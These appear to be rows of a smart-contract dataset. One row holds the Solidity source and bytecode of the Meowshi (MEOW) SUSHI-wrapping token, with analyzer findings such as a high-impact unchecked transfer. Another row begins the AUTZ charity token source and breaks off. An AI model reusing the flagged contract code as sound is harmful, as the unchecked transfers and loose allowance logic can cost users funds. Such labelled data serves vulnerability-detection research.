// @title Meowshi (MEOW) 🐈 🍣 🍱
// @author Gatoshi Nyakamoto
pragma solidity 0.8.4;
/// @notice Interface for depositing into & withdrawing from BentoBox vault.
interface IERC20{} interface IBentoBoxBasic {
function deposit(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external payable returns (uint256 amountOut, uint256 shareOut);
function withdraw(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external returns (uint256 amountOut, uint256 shareOut);
}
/// @notice Interface for depositing into & withdrawing from SushiBar.
interface ISushiBar {
function balanceOf(address account) external view returns (uint256);
function enter(uint256 amount) external;
function leave(uint256 share) external;
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
/// @notice Meowshi takes SUSHI/xSUSHI to mint governing MEOW tokens that can be burned to claim SUSHI/xSUSHI from BENTO with yields.
// ៱˳_˳៱ ∫
contract Meowshi {
IBentoBoxBasic constant bento = IBentoBoxBasic(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract (multinet)
ISushiBar constant sushiToken = ISushiBar(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract (mainnet)
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI token contract for staking SUSHI (mainnet)
string constant public name = "Meowshi";
string constant public symbol = "MEOW";
uint8 constant public decimals = 18;
uint256 constant multiplier = 100_000; // 1 xSUSHI BENTO share = 100,000 MEOW
uint256 public totalSupply;
/// @notice owner -> spender -> allowance mapping.
mapping(address => mapping(address => uint256)) public allowance;
/// @notice owner -> balance mapping.
mapping(address => uint256) public balanceOf;
/// @notice owner -> nonce mapping used in {permit}.
mapping(address => uint256) public nonces;
/// @notice A record of each account's delegate.
mapping(address => address) public delegates;
/// @notice A record of votes checkpoints for each account, by index.
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account.
mapping(address => uint32) public numCheckpoints;
/// @notice The ERC-712 typehash for this contract's domain.
bytes32 constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The ERC-712 typehash for the delegation struct used by the contract.
bytes32 constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The ERC-712 typehash for the permit struct used by the contract.
bytes32 constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice Events that are emitted when an ERC-20 approval or transfer occurs.
event Approval(address indexed owner, address indexed spender, uint256 amount);
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice An event that's emitted when an account changes its delegate.
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event that's emitted when a delegate account's vote balance changes.
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/// @notice A checkpoint for marking number of votes from a given block.
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
constructor() {
sushiToken.approve(sushiBar, type(uint256).max); // max {approve} xSUSHI to draw SUSHI from this contract
ISushiBar(sushiBar).approve(address(bento), type(uint256).max); // max {approve} BENTO to draw xSUSHI from this contract
}
/*************
MEOW FUNCTIONS
*************/
// **** xSUSHI
/// @notice Enter Meowshi. Deposit xSUSHI `amount`. Mint MEOW for `to`.
function meow(address to, uint256 amount) external returns (uint256 shares) {
ISushiBar(sushiBar).transferFrom(msg.sender, address(bento), amount); // forward to BENTO for skim
(, shares) = bento.deposit(IERC20(sushiBar), address(bento), address(this), amount, 0);
meowMint(to, shares * multiplier);
}
/// @notice Leave Meowshi. Burn MEOW `amount`. Claim xSUSHI for `to`.
function unmeow(address to, uint256 amount) external returns (uint256 amountOut) {
meowBurn(amount);
unchecked {(amountOut, ) = bento.withdraw(IERC20(sushiBar), address(this), to, 0, amount / multiplier);}
}
// **** SUSHI
/// @notice Enter Meowshi. Deposit SUSHI `amount`. Mint MEOW for `to`.
function meowSushi(address to, uint256 amount) external returns (uint256 shares) {
sushiToken.transferFrom(msg.sender, address(this), amount);
ISushiBar(sushiBar).enter(amount);
(, shares) = bento.deposit(IERC20(sushiBar), address(this), address(this), ISushiBar(sushiBar).balanceOf(address(this)), 0);
meowMint(to, shares * multiplier);
}
/// @notice Leave Meowshi. Burn MEOW `amount`. Claim SUSHI for `to`.
function unmeowSushi(address to, uint256 amount) external returns (uint256 amountOut) {
meowBurn(amount);
unchecked {(amountOut, ) = bento.withdraw(IERC20(sushiBar), address(this), address(this), 0, amount / multiplier);}
ISushiBar(sushiBar).leave(amountOut);
sushiToken.transfer(to, sushiToken.balanceOf(address(this)));
}
// **** SUPPLY MGMT
/// @notice Internal mint function for *meow*.
function meowMint(address to, uint256 amount) private {
balanceOf[to] += amount;
totalSupply += amount;
_moveDelegates(address(0), delegates[to], amount);
emit Transfer(address(0), to, amount);
}
/// @notice Internal burn function for *unmeow*.
function meowBurn(uint256 amount) private {
balanceOf[msg.sender] -= amount;
unchecked {totalSupply -= amount;}
_moveDelegates(delegates[msg.sender], address(0), amount);
emit Transfer(msg.sender, address(0), amount);
}
/**************
TOKEN FUNCTIONS
**************/
/// @notice Approves `amount` from msg.sender to be spent by `spender`.
/// @param spender Address of the party that can draw tokens from msg.sender's account.
/// @param amount The maximum collective `amount` that `spender` can draw.
/// @return (bool) Returns 'true' if succeeded.
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/// @notice Triggers an approval from owner to spends.
/// @param owner The address to approve from.
/// @param spender The address to be approved.
/// @param amount The number of tokens that are approved (2^256-1 means infinite).
/// @param deadline The time at which to expire the signature.
/// @param v The recovery byte of the signature.
/// @param r Half of the ECDSA signature pair.
/// @param s Half of the ECDSA signature pair.
function permit(address owner, address spender, uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
unchecked {bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), 'Meowshi::permit: invalid signature');
require(signatory == owner, 'Meowshi::permit: unauthorized');}
require(block.timestamp <= deadline, 'Meowshi::permit: signature expired');
allowance[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/// @notice Transfers `amount` tokens from `msg.sender` to `to`.
/// @param to The address to move tokens `to`.
/// @param amount The token `amount` to move.
/// @return (bool) Returns 'true' if succeeded.
function transfer(address to, uint256 amount) external returns (bool) {
balanceOf[msg.sender] -= amount;
unchecked {balanceOf[to] += amount;}
_moveDelegates(delegates[msg.sender], delegates[to], amount);
emit Transfer(msg.sender, to, amount);
return true;
}
/// @notice Transfers `amount` tokens from `from` to `to`. Caller needs approval from `from`.
/// @param from Address to draw tokens `from`.
/// @param to The address to move tokens `to`.
/// @param amount The token `amount` to move.
/// @return (bool) Returns 'true' if succeeded.
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
if (from != msg.sender || allowance[from][msg.sender] != type(uint256).max) allowance[from][msg.sender] -= amount;
balanceOf[from] -= amount;
unchecked {balanceOf[to] += amount;}
_moveDelegates(delegates[from], delegates[to], amount);
emit Transfer(from, to, amount);
return true;
}
/*******************
DELEGATION FUNCTIONS
*******************/
/// @notice Delegate votes from `msg.sender` to `delegatee`.
/// @param delegatee The address to delegate votes to.
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/// @notice Delegates votes from signatory to `delegatee`.
/// @param delegatee The address to delegate votes to.
/// @param nonce The contract state required to match the signature.
/// @param expiry The time at which to expire the signature.
/// @param v The recovery byte of the signature.
/// @param r Half of the ECDSA signature pair.
/// @param s Half of the ECDSA signature pair.
function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), 'Meowshi::delegateBySig: invalid signature');
unchecked {require(nonce == nonces[signatory]++, 'Meowshi::delegateBySig: invalid nonce');}
require(block.timestamp <= expiry, 'Meowshi::delegateBySig: signature expired');
return _delegate(signatory, delegatee);
}
/***************
GETTER FUNCTIONS
***************/
/// @notice Get current chain.
function getChainId() private view returns (uint256) {
uint256 chainId;
assembly {chainId := chainid()}
return chainId;
}
/// @notice Gets the current votes balance for `account`.
/// @param account The address to get votes balance.
/// @return The number of current votes for `account`.
function getCurrentVotes(address account) external view returns (uint256) {
unchecked {uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;}
}
/// @notice Determine the prior number of votes for an `account` as of a block number.
/// @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
/// @param account The address of the `account` to check.
/// @param blockNumber The block number to get the vote balance at.
/// @return The number of votes the `account` had as of the given block.
function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) {
require(blockNumber < block.number, 'Meowshi::getPriorVotes: not yet determined');
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
unchecked {
// @dev First check most recent balance.
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// @dev Next check implicit zero balance.
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;}
}
/***************
HELPER FUNCTIONS
***************/
function _delegate(address delegator, address delegatee) private {
address currentDelegate = delegates[delegator];
uint256 delegatorBalance = balanceOf[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) private {
unchecked {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld - amount;
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld + amount;
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) private {
uint32 blockNumber = safe32(block.number);
unchecked {
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
/// @notice Enables calling multiple methods in a single call to this contract.
function multicall(bytes[] calldata data) external returns (bytes[] memory results) {
results = new bytes[](data.length);
unchecked {
for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
if (!success) {
if (result.length < 68) revert();
assembly {result := add(result, 0x04)}
revert(abi.decode(result, (string)));
}
results[i] = result;
}}
}
function safe32(uint256 n) private pure returns (uint32) {
require(n < 2**32, 'Meowshi::_writeCheckpoint: block number exceeds 32 bits');
return uint32(n);
}
} | 0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c3578063b4b5ea571161007c578063b4b5ea5714610368578063c3cda5201461037b578063d505accf1461038e578063dd62ed3e146103a1578063e6ff41eb146103cc578063f1127ed8146103df57600080fd5b806370a08231146102bf578063782d6fe1146102df5780637ecebe00146102f257806395d89b4114610312578063a9059cbb14610335578063ac9650d81461034857600080fd5b8063313ce56711610115578063313ce567146101ee5780633c0adb6814610208578063587cde1e1461021b5780635c19a95c1461025c578063642ed500146102715780636fcfff451461028457600080fd5b806306fdde0314610152578063095ea7b31461018e57806318160ddd146101b15780631b04a34f146101c857806323b872dd146101db575b600080fd5b610178604051806040016040528060078152602001664d656f7773686960c81b81525081565b6040516101859190611f61565b60405180910390f35b6101a161019c366004611c5e565b610436565b6040519015158152602001610185565b6101ba60005481565b604051908152602001610185565b6101ba6101d6366004611c5e565b6104a3565b6101a16101e9366004611bba565b610560565b6101f6601281565b60405160ff9091168152602001610185565b6101ba610216366004611c5e565b610694565b610244610229366004611b6e565b6004602052600090815260409020546001600160a01b031681565b6040516001600160a01b039091168152602001610185565b61026f61026a366004611b6e565b6108bf565b005b6101ba61027f366004611c5e565b6108cc565b6102aa610292366004611b6e565b60066020526000908152604090205463ffffffff1681565b60405163ffffffff9091168152602001610185565b6101ba6102cd366004611b6e565b60026020526000908152604090205481565b6101ba6102ed366004611c5e565b610afb565b6101ba610300366004611b6e565b60036020526000908152604090205481565b610178604051806040016040528060048152602001634d454f5760e01b81525081565b6101a1610343366004611c5e565b610d27565b61035b610356366004611d1c565b610dbb565b6040516101859190611ecc565b6101ba610376366004611b6e565b610f2b565b61026f610389366004611c87565b610f8f565b61026f61039c366004611bf5565b61127c565b6101ba6103af366004611b88565b600160209081526000928352604080842090915290825290205481565b6101ba6103da366004611c5e565b6115b6565b61041a6103ed366004611cde565b60056020908152600092835260408084209091529082529020805460019091015463ffffffff9091169082565b6040805163ffffffff9093168352602083019190915201610185565b3360008181526001602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104919086815260200190565b60405180910390a35060015b92915050565b60006104ae826116b2565b60405163097da6d360e41b815273f5bce5077908a1b7370b9ae04adc565ebd643966906397da6d309061050790738798249c2e607446efb7ad49ec89dd1865ff42729030908890600090620186a08a0490600401611f2d565b6040805180830381600087803b15801561052057600080fd5b505af1158015610534573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105589190611e6d565b509392505050565b60006001600160a01b0384163314158061059f57506001600160a01b038416600090815260016020908152604080832033845290915290205460001914155b156105dd576001600160a01b0384166000908152600160209081526040808320338452909152812080548492906105d7908490611ff7565b90915550505b6001600160a01b03841660009081526002602052604081208054849290610605908490611ff7565b90915550506001600160a01b038084166000818152600260209081526040808320805488019055888516835260049091528082205492825290205461064f9291821691168461172b565b826001600160a01b0316846001600160a01b03166000805160206120678339815191528460405161068291815260200190565b60405180910390a35060019392505050565b6040516323b872dd60e01b815233600482015230602482015260448101829052600090736b3595068778dd592e39a122f4f5a5cf09c90fe2906323b872dd90606401602060405180830381600087803b1580156106f057600080fd5b505af1158015610704573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107289190611d8c565b50604051632967cf8360e21b815260048101839052738798249c2e607446efb7ad49ec89dd1865ff42729063a59f3e0c90602401600060405180830381600087803b15801561077657600080fd5b505af115801561078a573d6000803e3d6000fd5b50506040516370a0823160e01b8152306004820181905273f5bce5077908a1b7370b9ae04adc565ebd64396693506302b9446c9250738798249c2e607446efb7ad49ec89dd1865ff427291819083906370a082319060240160206040518083038186803b1580156107fa57600080fd5b505afa15801561080e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108329190611e55565b60006040518663ffffffff1660e01b8152600401610854959493929190611f2d565b6040805180830381600087803b15801561086d57600080fd5b505af1158015610881573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a59190611e6d565b915061049d9050836108ba620186a084611fd8565b611857565b6108c933826118f4565b50565b60006108d7826116b2565b60405163097da6d360e41b815273f5bce5077908a1b7370b9ae04adc565ebd643966906397da6d309061093090738798249c2e607446efb7ad49ec89dd1865ff42729030908190600090620186a08a0490600401611f2d565b6040805180830381600087803b15801561094957600080fd5b505af115801561095d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109819190611e6d565b506040516367dfd4c960e01b815260048101829052909150738798249c2e607446efb7ad49ec89dd1865ff4272906367dfd4c990602401600060405180830381600087803b1580156109d257600080fd5b505af11580156109e6573d6000803e3d6000fd5b50506040516370a0823160e01b8152306004820152736b3595068778dd592e39a122f4f5a5cf09c90fe2925063a9059cbb9150859083906370a082319060240160206040518083038186803b158015610a3e57600080fd5b505afa158015610a52573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a769190611e55565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b158015610abc57600080fd5b505af1158015610ad0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af49190611d8c565b5092915050565b6000438210610b645760405162461bcd60e51b815260206004820152602a60248201527f4d656f777368693a3a6765745072696f72566f7465733a206e6f74207965742060448201526919195d195c9b5a5b995960b21b60648201526084015b60405180910390fd5b6001600160a01b03831660009081526006602052604090205463ffffffff1680610b9257600091505061049d565b6001600160a01b038416600090815260056020908152604080832063ffffffff600019860181168552925290912054168310610c01576001600160a01b03841660009081526005602090815260408083206000199490940163ffffffff1683529290522060010154905061049d565b6001600160a01b038416600090815260056020908152604080832083805290915290205463ffffffff16831015610c3c57600091505061049d565b600060001982015b8163ffffffff168163ffffffff161115610cf0576000600263ffffffff848403166001600160a01b038916600090815260056020908152604080832094909304860363ffffffff8181168452948252918390208351808501909452805490941680845260019094015490830152925090871415610ccb5760200151945061049d9350505050565b805163ffffffff16871115610ce257819350610ce9565b6001820392505b5050610c44565b506001600160a01b038516600090815260056020908152604080832063ffffffff9094168352929052206001015491505092915050565b33600090815260026020526040812080548391908390610d48908490611ff7565b90915550506001600160a01b038084166000818152600260209081526040808320805488019055338352600490915280822054928252902054610d909291821691168461172b565b6040518281526001600160a01b03841690339060008051602061206783398151915290602001610491565b60608167ffffffffffffffff811115610de457634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610e1757816020015b6060815260200190600190039081610e025790505b50905060005b82811015610af45760008030868685818110610e4957634e487b7160e01b600052603260045260246000fd5b9050602002810190610e5b9190611f74565b604051610e69929190611ebc565b600060405180830381855af49150503d8060008114610ea4576040519150601f19603f3d011682016040523d82523d6000602084013e610ea9565b606091505b509150915081610ef557604481511015610ec257600080fd5b60048101905080806020019051810190610edc9190611dac565b60405162461bcd60e51b8152600401610b5b9190611f61565b80848481518110610f1657634e487b7160e01b600052603260045260246000fd5b60209081029190910101525050600101610e1d565b6001600160a01b03811660009081526006602052604081205463ffffffff1680610f56576000610f88565b6001600160a01b038316600090815260056020908152604080832063ffffffff60001986011684529091529020600101545b9392505050565b60408051808201825260078152664d656f7773686960c81b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527fb2519001d922cc8f01da040a1ebf40356f395758595af77f4a075390db7ffeeb81840152466060820152306080808301919091528351808303909101815260a0820184528051908301207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c08301526001600160a01b038a1660e083015261010082018990526101208083018990528451808403909101815261014083019094528351939092019290922061190160f01b6101608401526101628301829052610182830181905290916000906101a20160408051601f198184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa158015611111573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166111865760405162461bcd60e51b815260206004820152602960248201527f4d656f777368693a3a64656c656761746542795369673a20696e76616c6964206044820152687369676e617475726560b81b6064820152608401610b5b565b6001600160a01b038116600090815260036020526040902080546001810190915589146112035760405162461bcd60e51b815260206004820152602560248201527f4d656f777368693a3a64656c656761746542795369673a20696e76616c6964206044820152646e6f6e636560d81b6064820152608401610b5b565b874211156112655760405162461bcd60e51b815260206004820152602960248201527f4d656f777368693a3a64656c656761746542795369673a207369676e617475726044820152681948195e1c1a5c995960ba1b6064820152608401610b5b565b61126f818b6118f4565b505050505b505050505050565b60408051808201825260078152664d656f7773686960c81b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527fb2519001d922cc8f01da040a1ebf40356f395758595af77f4a075390db7ffeeb81840152466060820152306080808301919091528351808303909101815260a0820184528051908301206001600160a01b038b81166000818152600386528681208054600181019091557f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c960c087015260e0860192909252918c1661010085015261012084018b90526101408401526101608084018a90528551808503909101815261018084019095528451949093019390932061190160f01b6101a08301526101a282018490526101c2820181905291906101e20160408051601f198184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa158015611423573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166114915760405162461bcd60e51b815260206004820152602260248201527f4d656f777368693a3a7065726d69743a20696e76616c6964207369676e617475604482015261726560f01b6064820152608401610b5b565b8a6001600160a01b0316816001600160a01b0316146114f25760405162461bcd60e51b815260206004820152601d60248201527f4d656f777368693a3a7065726d69743a20756e617574686f72697a65640000006044820152606401610b5b565b505050844211156115505760405162461bcd60e51b815260206004820152602260248201527f4d656f777368693a3a7065726d69743a207369676e6174757265206578706972604482015261195960f21b6064820152608401610b5b565b6001600160a01b038881166000818152600160209081526040808320948c16808452948252918290208a905590518981527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35050505050505050565b6040516323b872dd60e01b815233600482015273f5bce5077908a1b7370b9ae04adc565ebd643966602482015260448101829052600090738798249c2e607446efb7ad49ec89dd1865ff4272906323b872dd90606401602060405180830381600087803b15801561162657600080fd5b505af115801561163a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061165e9190611d8c565b5060405162ae511b60e21b815273f5bce5077908a1b7370b9ae04adc565ebd643966906302b9446c9061085490738798249c2e607446efb7ad49ec89dd1865ff427290849030908890600090600401611f2d565b33600090815260026020526040812080548392906116d1908490611ff7565b909155505060008054829003815533815260046020526040812054611702916001600160a01b03909116908361172b565b60405181815260009033906000805160206120678339815191529060200160405180910390a350565b816001600160a01b0316836001600160a01b03161415801561174d5750600081115b15611852576001600160a01b038316156117d4576001600160a01b03831660009081526006602052604081205463ffffffff16908161178d5760006117bf565b6001600160a01b038516600090815260056020908152604080832063ffffffff60001987011684529091529020600101545b90508281036117d086848484611974565b5050505b6001600160a01b03821615611852576001600160a01b03821660009081526006602052604081205463ffffffff16908161180f576000611841565b6001600160a01b038416600090815260056020908152604080832063ffffffff60001987011684529091529020600101545b905082810161127485848484611974565b505050565b6001600160a01b0382166000908152600260205260408120805483929061187f908490611fc0565b92505081905550806000808282546118979190611fc0565b90915550506001600160a01b038083166000908152600460205260408120546118c192168361172b565b6040518181526001600160a01b038316906000906000805160206120678339815191529060200160405180910390a35050565b6001600160a01b03808316600081815260046020818152604080842080546002845282862054949093528787166001600160a01b03198416811790915590519190951694919391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a461196e82848361172b565b50505050565b600061197f43611ac1565b905060008463ffffffff161180156119c857506001600160a01b038516600090815260056020908152604080832063ffffffff6000198901811685529252909120548282169116145b15611a05576001600160a01b038516600090815260056020908152604080832063ffffffff60001989011684529091529020600101829055611a76565b60408051808201825263ffffffff808416825260208083018681526001600160a01b038a166000818152600584528681208b8616825284528681209551865490861663ffffffff19918216178755925160019687015590815260069092529390208054928801909116919092161790555b60408051848152602081018490526001600160a01b038716917fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724910160405180910390a25050505050565b60006401000000008210611b3d5760405162461bcd60e51b815260206004820152603760248201527f4d656f777368693a3a5f7772697465436865636b706f696e743a20626c6f636b60448201527f206e756d626572206578636565647320333220626974730000000000000000006064820152608401610b5b565b5090565b80356001600160a01b0381168114611b5857600080fd5b919050565b803560ff81168114611b5857600080fd5b600060208284031215611b7f578081fd5b610f8882611b41565b60008060408385031215611b9a578081fd5b611ba383611b41565b9150611bb160208401611b41565b90509250929050565b600080600060608486031215611bce578081fd5b611bd784611b41565b9250611be560208501611b41565b9150604084013590509250925092565b600080600080600080600060e0888a031215611c0f578283fd5b611c1888611b41565b9650611c2660208901611b41565b95506040880135945060608801359350611c4260808901611b5d565b925060a0880135915060c0880135905092959891949750929550565b60008060408385031215611c70578182fd5b611c7983611b41565b946020939093013593505050565b60008060008060008060c08789031215611c9f578182fd5b611ca887611b41565b95506020870135945060408701359350611cc460608801611b5d565b92506080870135915060a087013590509295509295509295565b60008060408385031215611cf0578182fd5b611cf983611b41565b9150602083013563ffffffff81168114611d11578182fd5b809150509250929050565b60008060208385031215611d2e578182fd5b823567ffffffffffffffff80821115611d45578384fd5b818501915085601f830112611d58578384fd5b813581811115611d66578485fd5b8660208260051b8501011115611d7a578485fd5b60209290920196919550909350505050565b600060208284031215611d9d578081fd5b81518015158114610f88578182fd5b600060208284031215611dbd578081fd5b815167ffffffffffffffff80821115611dd4578283fd5b818401915084601f830112611de7578283fd5b815181811115611df957611df9612050565b604051601f8201601f19908116603f01168101908382118183101715611e2157611e21612050565b81604052828152876020848701011115611e39578586fd5b611e4a83602083016020880161200e565b979650505050505050565b600060208284031215611e66578081fd5b5051919050565b60008060408385031215611e7f578182fd5b505080516020909101519092909150565b60008151808452611ea881602086016020860161200e565b601f01601f19169290920160200192915050565b8183823760009101908152919050565b6000602080830181845280855180835260408601915060408160051b8701019250838701855b82811015611f2057603f19888603018452611f0e858351611e90565b94509285019290850190600101611ef2565b5092979650505050505050565b6001600160a01b03958616815293851660208501529190931660408301526060820192909252608081019190915260a00190565b602081526000610f886020830184611e90565b6000808335601e19843603018112611f8a578283fd5b83018035915067ffffffffffffffff821115611fa4578283fd5b602001915036819003821315611fb957600080fd5b9250929050565b60008219821115611fd357611fd361203a565b500190565b6000816000190483118215151615611ff257611ff261203a565b500290565b6000828210156120095761200961203a565b500390565b60005b83811015612029578181015183820152602001612011565b8381111561196e5750506000910152565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220613d55eac197bed4c5e0587034b12e622da2decbde026ff1ad1e93051a2cb8d464736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,364 |
0x5a7092cf86a6790113c4d3fa83f48fd6efa71b0d | /**
*Submitted for verification at Etherscan.io on 2021-07-22
*/
/*
%%%%%%%%%%%%%%%%%%%%%
%%% AUTZ TOKEN V2 %%%
%%%%%%%%%%%%%%%%%%%%%
A charity-oriented token with the ultimate goal to support autistic children and adults in the spectrum (autism spectrum disorder - ASD)
Official Website :
------------------
autz.io
Official Social Platforms :
---------------------------
Telegram : autz.io/telegram
Facebook : autz.io/facebook
Instagram : autz.io/instagram
Twitter : autz.io/twitter
Official Charity Wallet :
------------------------------------------
0x55Abd9020a78B5b493fac811eADCB8D3EDD37B88
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
